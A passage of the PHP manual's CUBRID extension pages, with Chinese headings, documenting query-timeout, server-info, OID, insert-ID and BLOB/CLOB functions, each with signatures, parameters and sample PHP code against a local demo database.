  • cubrid_set_db_parameter() - Sets the CUBRID database parameters
  • cubrid_get_autocommit() - Get auto-commit mode of the connection

User Contributed Notes

There are no user contributed notes for this page.


Get the query timeout value of the request

  • ? cubrid_get_db_parameter
  • cubrid_get_server_info ?
  • PHP Manual
  • CUBRID 函数
  • Get the query timeout value of the request

cubrid_get_query_timeout

(PECL CUBRID >= 8.4.1)

cubrid_get_query_timeout — Get the query timeout value of the request

说明

cubrid_get_query_timeout(resource $req_identifier): int

The cubrid_get_query_timeout() function is used to get the query timeout of the request.

参数

req_identifier

Request identifier.

返回值

Returns the query timeout value in milliseconds of the current request on success, 或者在失败时返回 false.

示例

Example #1 cubrid_get_query_timeout() example

<?php

$host = "localhost";
$port = 33000;
$db = "demodb";

$conn =
cubrid_connect_with_url("CUBRID:$host:$port:$db:::?login_timeout=50000&query_timeout=5000&disconnect_on_query_timeout=yes");

$req = cubrid_prepare($conn, "SELECT * FROM code");

$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_set_query_timeout($req, 1000);
$timeout = cubrid_get_query_timeout($req);
var_dump($timeout);

cubrid_close($conn);
?>

以上示例会输出：

int(5000)
int(1000)

参见

  • cubrid_set_query_timeout() - Set the timeout time of query execution

User Contributed Notes

There are no user contributed notes for this page.


Return the CUBRID server version

  • ? cubrid_get_query_timeout
  • cubrid_get ?
  • PHP Manual
  • CUBRID 函数
  • Return the CUBRID server version

cubrid_get_server_info

(PECL CUBRID >= 8.3.0)

cubrid_get_server_info — Return the CUBRID server version

说明

cubrid_get_server_info(resource $conn_identifier): string

This function returns a string that represents the CUBRID server version.

参数

conn_identifier

The CUBRID connection.

返回值

A string that represents the CUBRID server version on success, 或者在失败时返回 false.

示例

Example #1 cubrid_get_server_info() example

<?php
printf("%-30s %s\n", "CUBRID PHP Version:", cubrid_version());

printf("\n");

$conn = cubrid_connect("localhost", 33088, "demodb");

if (!$conn) {
die('Connect Error ('. cubrid_error_code() .')' . cubrid_error_msg());
}

$db_params = cubrid_get_db_parameter($conn);

while (list($param_name, $param_value) = each($db_params)) {
printf("%-30s %s\n", $param_name, $param_value);
}

printf("\n");

$server_info = cubrid_get_server_info($conn);
$client_info = cubrid_get_client_info();

printf("%-30s %s\n", "Server Info:", $server_info);
printf("%-30s %s\n", "Client Info:", $client_info);

printf("\n");

$charset = cubrid_get_charset($conn);

printf("%-30s %s\n", "CUBRID Charset:", $charset);

cubrid_disconnect($conn);

?>

以上示例会输出：

CUBRID PHP Version:            9.1.0.0001

PARAM_ISOLATION_LEVEL          3
LOCK_TIMEOUT                   -1
MAX_STRING_LENGTH              1073741823
PARAM_AUTO_COMMIT              1

Server Info:                   9.1.0.0212
Client Info:                   9.1.0

CUBRID Charset:                iso8859-1

User Contributed Notes

There are no user contributed notes for this page.


Get a column using OID

  • ? cubrid_get_server_info
  • cubrid_insert_id ?
  • PHP Manual
  • CUBRID 函数
  • Get a column using OID

cubrid_get

(PECL CUBRID >= 8.3.0)

cubrid_get — Get a column using OID

说明

cubrid_get(resource $conn_identifier, string $oid, mixed $attr = ?): mixed

The cubrid_get() function is used to get the attribute of the instance of the given oid. You can get single attribute by using string data type for the attr argument, or many attributes by using array data type for the attr argument.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to read.

attr

Name of the attribute that you want to read.

返回值

Content of the requested attribute, when process is successful; When attr is set with string data type, the result is returned as a string; when attr is set with array data type (0-based numerical array), then the result is returned in associative array. When attr is omitted, then all attributes are received in array form.

false when process is unsuccessful or result is NULL (If error occurs to distinguish empty string from NULL, then it prints the warning message. You can check the error by using cubrid_error_code())

示例

Example #1 cubrid_get() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE foo");
cubrid_execute($conn, "CREATE TABLE foo(a int AUTO_INCREMENT, b set(int), c list(int), d char(10))");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(1, {1,2,3}, {11,22,33,333}, 'a')");
cubrid_execute($conn, "INSERT INTO foo(a, b, c, d) VALUES(2, {4,5,7}, {44,55,66,666}, 'b')");

$req = cubrid_execute($conn, "SELECT * FROM foo", CUBRID_INCLUDE_OID);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);
$oid = cubrid_current_oid($req);

$attr = cubrid_get($conn, $oid, "b");
var_dump($attr);

$attr = cubrid_get($conn, $oid);
var_dump($attr);

cubrid_close_request($req);
cubrid_disconnect($conn);
?>

以上示例会输出：

string(9) "{1, 2, 3}"
array(4) {
  ["a"]=>
  string(1) "1"
  ["b"]=>
  array(3) {
    [0]=>
    string(1) "1"
    [1]=>
    string(1) "2"
    [2]=>
    string(1) "3"
  }
  ["c"]=>
  array(4) {
    [0]=>
    string(2) "11"
    [1]=>
    string(2) "22"
    [2]=>
    string(2) "33"
    [3]=>
    string(3) "333"
  }
  ["d"]=>
  string(10) "a         "
}

参见

  • cubrid_put() - Update a column using OID

User Contributed Notes

There are no user contributed notes for this page.


Return the ID generated for the last updated AUTO_INCREMENT column

  • ? cubrid_get
  • cubrid_is_instance ?
  • PHP Manual
  • CUBRID 函数
  • Return the ID generated for the last updated AUTO_INCREMENT column

cubrid_insert_id

(PECL CUBRID >= 8.3.0)

cubrid_insert_id — Return the ID generated for the last updated AUTO_INCREMENT column

说明

cubrid_insert_id(resource $conn_identifier = ?): string

The cubrid_insert_id() function retrieves the ID generated for the AUTO_INCREMENT column which is updated by the previous INSERT query. It returns 0 if the previous query does not generate new rows, or FALSE on failure.

Note:

CUBRID supports AUTO_INCREMENT for more than one columns in a table. In most cases, there will be a single AUTO_INCREMENT column in a table. If there are multiple AUTO_INCREMENT columns, this function should not be used even if it will return a value.

参数

conn_identifier

The connection identifier previously obtained by a call to cubrid_connect().

返回值

A string representing the ID generated for an AUTO_INCREMENT column by the previous query, on success.

0, if the previous query does not generate new rows.

false on failure.

更新日志

版本 | 说明
8.4.0 | Change the return value from an array to string; Remove the first parameter class_name.

示例

Example #1 cubrid_insert_id() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

@cubrid_execute($conn, "DROP TABLE cubrid_test");
cubrid_execute($conn, "CREATE TABLE cubrid_test (d int AUTO_INCREMENT(1, 2), t varchar)");

for ($i = 0; $i < 10; $i++) {
cubrid_execute($conn, "INSERT INTO cubrid_test(t) VALUES('cubrid_test')");
}

$id = cubrid_insert_id();
var_dump($id);

cubrid_disconnect($conn);
?>

以上示例会输出：

string(2) "19"

User Contributed Notes

There are no user contributed notes for this page.


Check whether the instance pointed by OID exists

  • ? cubrid_insert_id
  • cubrid_lob_close ?
  • PHP Manual
  • CUBRID 函数
  • Check whether the instance pointed by OID exists

cubrid_is_instance

(PECL CUBRID >= 8.3.0)

cubrid_is_instance — Check whether the instance pointed by OID exists

说明

cubrid_is_instance(resource $conn_identifier, string $oid): int

The cubrid_is_instance() function is used to check whether the instance pointed by the given oid exists or not.

参数

conn_identifier

Connection identifier.

oid

OID of the instance that you want to check the existence.

返回值

1, if such instance exists;

0, if such instance does not exist;

-1, in case of error

示例

Example #1 cubrid_is_instance() example

<?php
$conn = cubrid_connect("localhost", 33000, "demodb");

$sql = <<<EOD
SELECT host_year, medal, game_date
FROM game
WHERE athlete_code IN
(SELECT code FROM athlete WHERE name='Thorpe Ian');
EOD;

$req = cubrid_execute($conn, $sql, CUBRID_INCLUDE_OID);
$oid = cubrid_current_oid($req);

$res = cubrid_is_instance ($conn, $oid);
if ($res == 1) {
echo "Instance pointed by $oid exists.\n";
} else if ($res == 0){
echo "Instance pointed by $oid doesn't exist.\n";
} else {
echo "error\n";
}

cubrid_disconnect($conn);
?>

以上示例会输出：

Instance pointed by @0|0|0 doesn't exist.

参见

  • cubrid_drop() - Delete an instance using OID
  • cubrid_get_class_name() - Get the class name using OID

User Contributed Notes

There are no user contributed notes for this page.


Close BLOB/CLOB data

  • ? cubrid_is_instance
  • cubrid_lob_export ?
  • PHP Manual
  • CUBRID 函数
  • Close BLOB/CLOB data

cubrid_lob_close

(PECL CUBRID >= 8.3.1)

cubrid_lob_close — Close BLOB/CLOB data

说明

cubrid_lob_close(array $lob_identifier_array): bool

cubrid_lob_close() is used to close all BLOB/CLOB returned from cubrid_lob_get().

参数

lob_identifier_array

LOB identifier array returned from cubrid_lob_get().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob_close() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Export BLOB/CLOB data to file

  • ? cubrid_lob_close
  • cubrid_lob_get ?
  • PHP Manual
  • CUBRID 函数
  • Export BLOB/CLOB data to file

cubrid_lob_export

(PECL CUBRID >= 8.3.1)

cubrid_lob_export — Export BLOB/CLOB data to file

说明

cubrid_lob_export(resource $conn_identifier, resource $lob_identifier, string $path_name): bool

cubrid_lob_export() is used to get BLOB/CLOB data from CUBRID database, and saves its contents to a file. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

参数

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

path_name

Path name of the file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob_export() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Get BLOB/CLOB data

  • ? cubrid_lob_export
  • cubrid_lob_send ?
  • PHP Manual
  • CUBRID 函数
  • Get BLOB/CLOB data

cubrid_lob_get

(PECL CUBRID >= 8.3.1)

cubrid_lob_get — Get BLOB/CLOB data

说明

cubrid_lob_get(resource $conn_identifier, string $sql): array

cubrid_lob_get() is used to get BLOB/CLOB meta info from CUBRID database, CUBRID gets BLOB/CLOB by executing the SQL statement, and returns all LOBs as a resource array. Be sure that the SQL retrieves only one column and its data type is BLOB or CLOB.

Remember to use cubrid_lob_close() to release the LOBs if you don't need it any more.

参数

conn_identifier

Connection identifier.

sql

SQL statement to be executed.

返回值

Return an array of LOB resources, when process is successful, 或者在失败时返回 false.

示例

Example #1 cubrid_lob_get() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");
echo "Doc size: ".cubrid_lob_size($lobs[0])." bytes";
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Read BLOB/CLOB data and send straight to browser

  • ? cubrid_lob_get
  • cubrid_lob_size ?
  • PHP Manual
  • CUBRID 函数
  • Read BLOB/CLOB data and send straight to browser

cubrid_lob_send

(PECL CUBRID >= 8.3.1)

cubrid_lob_send — Read BLOB/CLOB data and send straight to browser

说明

cubrid_lob_send(resource $conn_identifier, resource $lob_identifier): bool

cubrid_lob_send() reads BLOB/CLOB data and passes it straight through to the browser. To use this function, you must use cubrid_lob_get() first to get BLOB/CLOB info from CUBRID.

参数

conn_identifier

Connection identifier.

lob_identifier

LOB identifier.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob_send() example

<?php
$conn = cubrid_connect ("localhost", 33000, "demodb", "dba");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$lobs = cubrid_lob_get($conn, "SELECT doc_content FROM doc WHERE id=5");

cubrid_lob_send($conn, $lobs[0]);
cubrid_lob_close($lobs);
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_size() - Get BLOB/CLOB data size
  • cubrid_lob_export() - Export BLOB/CLOB data to file

User Contributed Notes

There are no user contributed notes for this page.


Get BLOB/CLOB data size

  • ? cubrid_lob_send
  • cubrid_lob2_bind ?
  • PHP Manual
  • CUBRID 函数
  • Get BLOB/CLOB data size

cubrid_lob_size

(PECL CUBRID >= 8.3.1)

cubrid_lob_size — Get BLOB/CLOB data size

说明

cubrid_lob_size(resource $lob_identifier): string

cubrid_lob_size() is used to get BLOB/CLOB data size.

参数

lob_identifier

LOB identifier.

返回值

A string representing LOB data size, when process is successful, 或者在失败时返回 false.

更新日志

版本 | 说明
8.4.0 | Change return value type from int to string.

示例

Example #1 cubrid_lob_size() example

<?php
$lobs = cubrid_lob_get($con, "SELECT doc_content FROM doc WHERE doc_id=5");
echo "Doc size:".cubrid_lob_size($lobs[0]);
cubrid_lob_export($conn, $lobs[0], "doc_5.txt");
cubrid_lob_close($lobs);
?>

参见

  • cubrid_lob_get() - Get BLOB/CLOB data
  • cubrid_lob_close() - Close BLOB/CLOB data
  • cubrid_lob_export() - Export BLOB/CLOB data to file
  • cubrid_lob_send() - Read BLOB/CLOB data and send straight to browser

User Contributed Notes

There are no user contributed notes for this page.


Bind a lob object or a string as a lob object to a prepared statement as parameters

  • ? cubrid_lob_size
  • cubrid_lob2_close ?
  • PHP Manual
  • CUBRID 函数
  • Bind a lob object or a string as a lob object to a prepared statement as parameters

cubrid_lob2_bind

(PECL CUBRID >= 8.4.1)

cubrid_lob2_bind — Bind a lob object or a string as a lob object to a prepared statement as parameters

说明

cubrid_lob2_bind(
resource $req_identifier,
int $bind_index,
mixed $bind_value,
string $bind_value_type = ?
): bool

The cubrid_lob2_bind() function is used to bind BLOB/CLOB datas to a corresponding question mark placeholder in the SQL statement that was passed to cubrid_prepare(). If bind_value_type is not given, string will be "BLOB" as the default. But if you use cubrid_lob2_new() before, bind_value_type will be consistent with type in cubrid_lob2_new() as the default.

参数

req_identifier

Request identifier as a result of cubrid_prepare().

bind_index

Location of binding parameters. It starts with 1.

bind_value

Actual value for binding.

bind_value_type

It must be "BLOB" or "CLOB" and it won't be case-sensitive. If it not be given, the default value is "BLOB".

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob2_bind() example

<?php
// Table: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");

cubrid_bind($req,1, 3);

$lob = cubrid_lob2_new($conn, 'CLOB');
cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_bind($req, 1, 4);

cubrid_lob2_bind($req, 2, 'CUBRID LOB2 TEST', 'CLOB');

cubrid_execute($req);

cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_new() - Create a lob object
  • cubrid_lob2_close() - Close LOB object

User Contributed Notes

There are no user contributed notes for this page.


Close LOB object

  • ? cubrid_lob2_bind
  • cubrid_lob2_export ?
  • PHP Manual
  • CUBRID 函数
  • Close LOB object

cubrid_lob2_close

(PECL CUBRID >= 8.4.1)

cubrid_lob2_close — Close LOB object

说明

cubrid_lob2_close(resource $lob_identifier): bool

The cubrid_lob2_close() function is used to close LOB object returned from cubrid_lob2_new() or got from the result set.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返回值

成功时返回 true， 或者在失败时返回 false。

参见

  • cubrid_lob2_new() - Create a lob object

User Contributed Notes

There are no user contributed notes for this page.


Export the lob object to a file

  • ? cubrid_lob2_close
  • cubrid_lob2_import ?
  • PHP Manual
  • CUBRID 函数
  • Export the lob object to a file

cubrid_lob2_export

(PECL CUBRID >= 8.4.1)

cubrid_lob2_export — Export the lob object to a file

说明

cubrid_lob2_export(resource $lob_identifier, string $file_name): bool

The cubrid_lob2_export() function is used to save the contents of BLOB/CLOB data to a file. To use this function, you must use cubrid_lob2_new() or fetch a lob object from CUBRID database first. If the file already exists, the operation will fail. This function will not influence the cursor position of the lob object. It operates the entire lob object.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

filename

File name you want to store BLOB/CLOB data. It also supports the path of the file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob2_export() example

<?php
// Table: test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists doc");
cubrid_execute($conn,"CREATE TABLE doc (id INT, doc_content CLOB)");
cubrid_execute($conn,"INSERT INTO doc VALUES (5,'hello,cubrid')");

$req = cubrid_prepare($conn, "select * from doc");

cubrid_execute($req);

cubrid_move_cursor($req, 1, CUBRID_CURSOR_FIRST);

$row = cubrid_fetch($req, CUBRID_NUM | CUBRID_LOB);

cubrid_lob2_export($row[1], "doc_3.txt");

cubrid_lob2_close($row[1]);
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_new() - Create a lob object
  • cubrid_lob2_close() - Close LOB object
  • cubrid_lob2_import() - Import BLOB/CLOB data from a file
  • cubrid_lob2_bind() - Bind a lob object or a string as a lob object to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Import BLOB/CLOB data from a file

  • ? cubrid_lob2_export
  • cubrid_lob2_new ?
  • PHP Manual
  • CUBRID 函数
  • Import BLOB/CLOB data from a file

cubrid_lob2_import

(PECL CUBRID >= 8.4.1)

cubrid_lob2_import — Import BLOB/CLOB data from a file

说明

cubrid_lob2_import(resource $lob_identifier, string $file_name): bool

The cubrid_lob2_import() function is used to save the contents of BLOB/CLOB data from a file. To use this function, you must use cubrid_lob2_new() or fetch a lob object from CUBRID database first. If the file already exists, the operation will fail. This function will not influence the cursor position of the lob object. It operates the entire lob object.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

filename

File name you want to import BLOB/CLOB data. It also supports the path of the file.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob2_export() example

<?php

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // or cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_new() - Create a lob object
  • cubrid_lob2_close() - Close LOB object
  • cubrid_lob2_export() - Export the lob object to a file
  • cubrid_lob2_bind() - Bind a lob object or a string as a lob object to a prepared statement as parameters

User Contributed Notes

There are no user contributed notes for this page.


Create a lob object

  • ? cubrid_lob2_import
  • cubrid_lob2_read ?
  • PHP Manual
  • CUBRID 函数
  • Create a lob object

cubrid_lob2_new

(PECL CUBRID >= 8.4.1)

cubrid_lob2_new — Create a lob object

说明

cubrid_lob2_new(resource $conn_identifier = ?, string $type = "BLOB"): resource

The cubrid_lob2_new() function is used to create a lob object (both BLOB and CLOB). This function should be used before you bind a lob object.

参数

conn_identifier

Connection identifier. If the connection identifier is not specified, the last connection opened by cubrid_connect() or cubrid_connect_with_url() is assumed.

type

It may be "BLOB" or "CLOB", it won't be case-sensitive. The default value is "BLOB".

返回值

Lob identifier when it is successful, 或者在失败时返回 false.

参见

  • cubrid_lob2_close() - Close LOB object

User Contributed Notes

There are no user contributed notes for this page.


Read from BLOB/CLOB data

  • ? cubrid_lob2_new
  • cubrid_lob2_seek64 ?
  • PHP Manual
  • CUBRID 函数
  • Read from BLOB/CLOB data

cubrid_lob2_read

(PECL CUBRID >= 8.4.1)

cubrid_lob2_read — Read from BLOB/CLOB data

说明

cubrid_lob2_read(resource $lob_identifier, int $len): string

The cubrid_lob2_read() function reads len bytes from the LOB data and returns the bytes read.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

len

Length from buffer you want to read from the lob data.

返回值

Returns the contents as a string, false when there is no more data, or null on failure.

示例

Example #1 cubrid_lob2_read() example 1

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "public", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

print "position now is " . cubrid_lob2_tell($row[1]) . "\n";

cubrid_lob2_seek($row[1], 10, CUBRID_CURSOR_FIRST);

print "\nposition after moving farword is " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 12);

print "\nposition after reading is " . cubrid_lob2_tell($row[1]) . "\n";

print $data . "\n";

cubrid_lob2_seek($row[1], 5, CUBRID_CURSOR_CURRENT);

print "\nposition after moving again is " . cubrid_lob2_tell($row[1]) . "\n";

$data = cubrid_lob2_read($row[1], 20);
print $data . "\n";

cubrid_disconnect($conn);
?>

Example #2 cubrid_lob2_read() example 2

<?php
// test_lob (id INT, contents CLOB)

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

$req = cubrid_execute($conn, "select * from test_lob");

$row = cubrid_fetch_row($req, CUBRID_LOB);

while (true) {
if ($data = cubrid_lob2_read($row[1], 1024)) {
print $data . "\n";
}
elseif ($data === false) {
print "There is no more data\n";
break;
}
else {
print "There must some errors\n";
break;
}
}

cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor of a lob object

  • ? cubrid_lob2_read
  • cubrid_lob2_seek ?
  • PHP Manual
  • CUBRID 函数
  • Move the cursor of a lob object

cubrid_lob2_seek64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek64 — Move the cursor of a lob object

说明

cubrid_lob2_seek64(resource $lob_identifier, string $offset, int $origin = CUBRID_CURSOR_CURRENT): bool

The cubrid_lob2_seek64() function is used to move the cursor position of a lob object by the value set in the offset argument, to the direction set in the origin argument. If the offset you want to move is larger than an integer data can be stored, you can use this function.

To set the origin argument, you can use CUBRID_CURSOR_FIRST to set the cursor position moving forward offset units from the first beginning. In this case, offset must be a positive value.

If you use CUBRID_CURSOR_CURRENT for origin, you can move forward or backward. and offset can be positive or negative.

If you use CUBRID_CURSOR_LAST for origin, you can move backward offset units from the end of LOB object and offset only can be positive.

Note:

If you use this function to move the cursor position of the lob object, you should pass offset as a string.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

offset

Number of units you want to move the cursor.

origin

This parameter can be the following values:

CUBRID_CURSOR_FIRST: move forward from the first beginning.

CUBRID_CURSOR_CURRENT: move forward or backward from the current position.

CUBRID_CURSOR_LAST: move backward at the end of LOB object.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob2_seek64() example

<?php
// test_lob (id INT, contents CLOB)
// Data length of doc_1.txt should be greater than 20101029056306120215.

$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");

$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES (?, ?)");
cubrid_bind($req, 1, 1);

$lob = cubrid_lob2_new($conn, "clob");
cubrid_lob2_import($lob, "doc_1.txt");
cubrid_lob2_bind($req, 2, $lob, 'CLOB'); // or cubrid_lob2_bind($req, 2, $lob);

cubrid_execute($req);

cubrid_lob2_close($lob);

$req = cubrid_execute($conn, "select * from test_lob");
$row = cubrid_fetch_row($req, CUBRID_LOB);
$lob = $row[1];

cubrid_lob2_seek64($lob, "20101029056306120215", CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 20);
echo $data."\n";
cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Move the cursor of a lob object

  • ? cubrid_lob2_seek64
  • cubrid_lob2_size64 ?
  • PHP Manual
  • CUBRID 函数
  • Move the cursor of a lob object

cubrid_lob2_seek

(PECL CUBRID >= 8.4.1)

cubrid_lob2_seek — Move the cursor of a lob object

说明

cubrid_lob2_seek(resource $lob_identifier, int $offset, int $origin = CUBRID_CURSOR_CURRENT): bool

The cubrid_lob2_seek() function is used to move the cursor position of a lob object by the value set in the offset argument, to the direction set in the origin argument.

To set the origin argument, you can use CUBRID_CURSOR_FIRST to set the cursor position moving forward offset units from the first beginning. In this case, offset must be a positive value.

If you use CUBRID_CURSOR_CURRENT for origin, you can move forward or backward. and offset can be positive or negative.

If you use CUBRID_CURSOR_LAST for origin, you can move backward offset units from the end of LOB object and offset only can be positive.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

offset

Number of units you want to move the cursor.

origin

This parameter can be the following values:

CUBRID_CURSOR_FIRST: move forward from the first beginning.

CUBRID_CURSOR_CURRENT: move forward or backward from the current position.

CUBRID_CURSOR_LAST: move backward at the end of LOB object.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 cubrid_lob2_seek() example

<?php
// test_lob (id INT, contents CLOB)
$conn = cubrid_connect("localhost", 33000, "demodb", "dba", "");

cubrid_execute($conn,"DROP TABLE if exists test_lob");
cubrid_execute($conn,"CREATE TABLE test_lob (id INT, contents CLOB)");
$req = cubrid_prepare($conn, "INSERT INTO test_lob VALUES(2, ?)");

$lob = cubrid_lob2_new($conn, 'CLOB');
$len = cubrid_lob2_write($lob, "Hello world");

cubrid_lob2_seek($lob, 0, CUBRID_CURSOR_LAST);
cubrid_lob2_write($lob, "beautiful");

cubrid_lob2_seek($lob, 15, CUBRID_CURSOR_FIRST);
$data = cubrid_lob2_read($lob, 5);

echo $data."\n";

cubrid_lob2_bind($req, 1, $lob);
cubrid_execute($req);

cubrid_disconnect($conn);
?>

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size
  • cubrid_lob2_size64() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Get a lob object's size

  • ? cubrid_lob2_seek
  • cubrid_lob2_size ?
  • PHP Manual
  • CUBRID 函数
  • Get a lob object's size

cubrid_lob2_size64

(PECL CUBRID >= 8.4.1)

cubrid_lob2_size64 — Get a lob object's size

说明

cubrid_lob2_size64(resource $lob_identifier): string

The cubrid_lob2_size64() function is used to get the size of a lob object. If the size of a lob object is larger than an integer data can be stored, you can use this function and it will return the size as a string.

参数

lob_identifier

Lob identifier as a result of cubrid_lob2_new() or get from the result set.

返回值

It will return the size of the LOB object as a string when it processes successfully, 或者在失败时返回 false.

参见

  • cubrid_lob2_read() - Read from BLOB/CLOB data
  • cubrid_lob2_write() - Write to a lob object
  • cubrid_lob2_seek() - Move the cursor of a lob object
  • cubrid_lob2_seek64() - Move the cursor of a lob object
  • cubrid_lob2_tell() - Tell the cursor position of the LOB object
  • cubrid_lob2_tell64() - Tell the cursor position of the LOB object
  • cubrid_lob2_size() - Get a lob object's size

User Contributed Notes

There are no user contributed notes for this page.


Get a lob object's size

  • ? cubrid_lob2_size64
  • cubrid_lob2_tell64 ?
  • PHP Manual
